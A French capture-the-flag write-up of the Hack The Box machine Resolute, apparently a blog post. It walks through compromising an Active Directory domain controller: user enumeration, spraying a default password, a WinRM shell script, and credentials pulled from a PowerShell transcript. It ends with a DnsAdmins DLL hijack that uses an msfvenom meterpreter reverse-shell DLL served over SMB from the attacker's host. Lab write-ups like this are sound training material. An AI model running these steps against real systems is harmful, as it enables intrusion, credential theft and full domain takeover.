Hack The Box - Resolute

Resolute est une machine Windows considérée comme facile/moyenne et orientée Active Directory. Un pseudo accès anonyme permet d’énumérer les comptes du domaine et ainsi identifier un mot de passe par défaut. L’obtention d’un shell via WinRM permet par la suite d’énumérer les propriétés du domaine et de trouver un mot de passe pour un utilisateur membre du groupe local “DnsAdmins”. L’escalade de privilège est réalisée au travers d’un DLL hijacking.

Disclaimer : Il s’agit d’une présentation plutôt rapide qui omet volontairement les différents axes de recherche. Seul les résultats effectifs ainsi qu’une rapide démarche sont présentés.

Découverte / Énumération

Un rapide scan de ports permet d’obtenir les services présents sur la machine.

$ sudo nmap -sS -T4 -p0-10000 -sV -O -sC 10.10.10.169 -v 

Nmap scan report for 10.10.10.169
Host is up (0.13s latency).
Not shown: 9988 closed ports
PORT     STATE SERVICE      VERSION
53/tcp   open  tcpwrapped
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-11 18:35:03Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf       .NET Message Framing

Le domaine est ainsi repéré et les différents services semblent indiquer que l’on se trouve face à un contrôleur de domaine Active Directory.

Il est possible d’interroger l’AD en tant qu’utilisateur anonyme, ce qui permet notamment de récupérer la liste des utilisateurs du domaine (entre autres). L’outil enum4linux permet d’automatiser l’extraction de quelques informations de l’AD. Une information intéressante est identifiée dans le champs description de l’utilisateur marko (cf partie suivante).

$ enum4linux -a 10.10.10.169

 ============================= 
|    Users on 10.10.10.169    |
 ============================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail  Name: (null)  Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator  Name: (null)  Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null)  Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette  Name: (null)  Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null)  Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null)  Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude Name: (null)  Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null)  Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia  Name: (null)  Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null)  Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest  Name: (null)  Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo  Name: (null)  Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null)  Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null)  Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie  Name: (null)  Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki  Name: (null)  Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo  Name: (null)  Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per  Name: (null)  Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan  Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally  Name: (null)  Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon  Name: (null)  Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve  Name: (null)  Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null)  Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null)  Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf  Name: (null)  Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null)  Desc: (null)

Note importante : Afin d’éviter les problèmes de résolution DNS, ne pas oublier de renseigner les informations de la machine dans les fichiers resolv.conf et hosts.

$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kalinux

10.10.10.169 megabank.local
$ cat /etc/resolv.conf 
search megabank.local
nameserver 10.10.10.169

Mot de passe par défaut et shell utilisateur

L’énumération précédente indique la note Account created. Password set to Welcome123! pour l’utilisateur marko. Ainsi il est probable qu’il s’agisse d’un mot de passe par défaut mis en place par les administrateurs système.

On construit une simple wordlist d’utilisateur basée sur ceux récupérés auparavant et on tente une connexion avec chacun d’eux.

$ crackmapexec smb 10.10.10.169 -u user_list -p 'Welcome123!'
CME          10.10.10.169:445 RESOLUTE        [*] Windows 10.0 Build 14393 (name:RESOLUTE) (domain:MEGABANK)
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\abigail:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\Administrator:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\angela:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\annette:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\annika:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\claire:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\claude:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\DefaultAccount:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\felicia:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\fred:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\Guest:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\gustavo:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\krbtgt:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\marcus:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [-] MEGABANK\marko:Welcome123! STATUS_LOGON_FAILURE 
CME          10.10.10.169:445 RESOLUTE        [+] MEGABANK\melanie:Welcome123! 
[*] KTHXBYE!

L’utilisateur melanie est ainsi récupéré ! Cependant, ce compte n’est pas administrateur et les possibilités d’exécution de commande à distance sont limitées. C’est là qu’intervient WinRM (Windows Remote Management). Il s’agit d’un service/protocole Microsoft HTTP, basé sur WS-Management (SOAP) qui permet l’administration à distance de machines sous Windows. De retour à notre scan nmap, le port 5985, utilisé par défaut par WinRM, est ouvert.

Plusieurs façon d’exploiter. J’ai choisi d’utiliser le script Ruby suivant.

$ cat winrm_shell.rb 
require 'winrm'

conn = WinRM::Connection.new(
  endpoint: 'http://10.10.10.169:5985/wsman',
  user: 'MEGABANK\melanie',
  password: 'Welcome123!',
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end
    puts "Exiting with code #{output.exitcode}"
end

Ce qui donne un accès à la machine ainsi que le premier flag !

$ ruby winrm_shell.rb 
PS > whoami
megabank\melanie

PS > type ../Desktop/user.txt
0cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
PS > 

Énumération et compromission d’un second compte

Une énumération rapide des utilisateurs et groupes du domaine nous permet d’apprendre que l’utilisateur ryan est membre du groupe Contractors, lui même membre du groupe local DnsAdmins, ce qui en fait une cible de choix.

PS > net user ryan /domain
User name                    ryan
Full Name                    Ryan Bertrand
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/22/2020 9:15:02 AM
Password expires             Never
Password changeable          2/23/2020 9:15:02 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      
Global Group memberships     *Domain Users         *Contractors          
The command completed successfully.
PS > net localgroup DnsAdmins
Alias name     DnsAdmins
Comment        DNS Administrators Group

Members

-------------------------------------------------------------------------------
Contractors
The command completed successfully.

La suite de l’énumération se passe au niveau des fichiers de la machine. Après plusieurs tentatives de récupération d’information, on réussit à récupérer le compte utilisateur de ryan, laissé dans un fichier.

PS > findstr /si ryan *.xml *.ini *.txt *.config *.sql *.php *.asp *.jsp *.bat *.vbs

PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:Username: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:RunAs User: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> "
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:PS megabank\ryan@RESOLUTE Documents>
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:Username: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:RunAs User: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:Username: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:RunAs User: MEGABANK\ryan
findstr.exe : FINDSTR: Cannot open Windows\Panther\UnattendGC\diagerr.xml
    + CategoryInfo          : NotSpecified: (FINDSTR: Cannot...dGC\diagerr.xml:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
FINDSTR: Cannot open Windows\Panther\UnattendGC\diagwrn.xml
FINDSTR: Cannot open Windows\PLA\System\System Diagnostics.xml
FINDSTR: Cannot open Windows\PLA\System\System Performance.xml
FINDSTR: Cannot open Windows\System32\Sysprep\Panther\diagerr.xml
FINDSTR: Cannot open Windows\System32\Sysprep\Panther\diagwrn.xml

En modifiant le script WinRM utilisé auparavant, on peut récupérer un shell avec notre nouvel utilisateur.

PS > whoami
megabank\ryan
PS > pwd

Path                   
----                   
C:\Users\ryan\Documents

Escalade de privilège - DLL Hijacking

Quelques recherches Internet nous apprennent un moyen de réaliser une escalade de privilège sur une machine Windows pour un utilisateur étant membre du groupe DnsAdmins.

Il est en effet possible de faire charger la DLL de notre choix par le service DNS. Cette dernière sera par la suite exécutée avec les droits SYSTEM.

Les ressources suivantes expliquent la vulnérabilité : - https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise - https://medium.com/techzap/dns-admin-privesc-in-active-directory-ad-windows-ecc7ed5a21a2

Première étape, générer une DLL contenant un reverse shell vers notre machine.

$ sudo msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.28 LPORT=5566 -f dll > privesc.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 5120 bytes

On créé par la suite un server SMB temporaire, nous permettant de charger à distance la DLL.

$ sudo smbserver.py MYSHARE /path/to/HackTheBox/Resolute -smb2support
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Dernière étape de préparation, on lance notre handler afin de récupérer la connexion entrante. Une fois cela fait, l’exploitation est plutôt rapide et doit être rapide. En effet, je ne suis pas en mesure de dire si cela vient d’un éventuel antivirus sur la machine ayant détecté notre DLL malveillante, ou une simple configuration afin de rendre la machine accessible à tous, mais il s’avère que chaque utilisateur semble disposer d’un temps limité pour exploiter la vulnérabilité une fois la clé de registre mise en place. Après un certain temps, celle ci est nettoyée.

Bien ! La première étape est d’indiquer au serveur DNS d’aller chercher notre DLL malveillante.

PS > dnscmd 10.10.10.169 /config /serverlevelplugindll \\10.10.14.28\TESTLOL\privesc.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

On peut confirmer le succès de la commande en allant inspecter la clé de registre associée.

PS > Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

ServerLevelPluginDll : \\10.10.14.28\TESTLOL\privesc.dll
PSPath               : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters\
PSParentPath         : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS
PSChildName          : Parameters
PSDrive              : HKLM
PSProvider           : Microsoft.PowerShell.Core\Registry

Par la suite, il est nécessaire de redémarrer le service DNS afin de charger la DLL.

PS > sc.exe stop dns

SERVICE_NAME: dns 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 3  STOP_PENDING 
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
PS > sc.exe query dns

SERVICE_NAME: dns 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 1  STOPPED 
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
PS > sc.exe start dns

SERVICE_NAME: dns 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 2  START_PENDING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 3340
        FLAGS              : 

Entre temps, on récupère un joli meterpreter :).

msf5 exploit(multi/handler) > 
[*] Sending stage (206403 bytes) to 10.10.10.169
[*] Meterpreter session 1 opened (10.10.14.28:5566 -> 10.10.10.169:63985) at 2020-02-22 17:02:49 +0100

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > shell
Process 3288 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>c

Nous permettant ainsi de compromettre entièrement la machine et d’aller chercher le flag root !

C:\Users\Administrator\Desktop>whoami
whoami
nt authority\system

C:\Users\Administrator\Desktop>hostname
hostname
Resolute

w00ted !

Hack The Box - Forest Hack The Box - Nest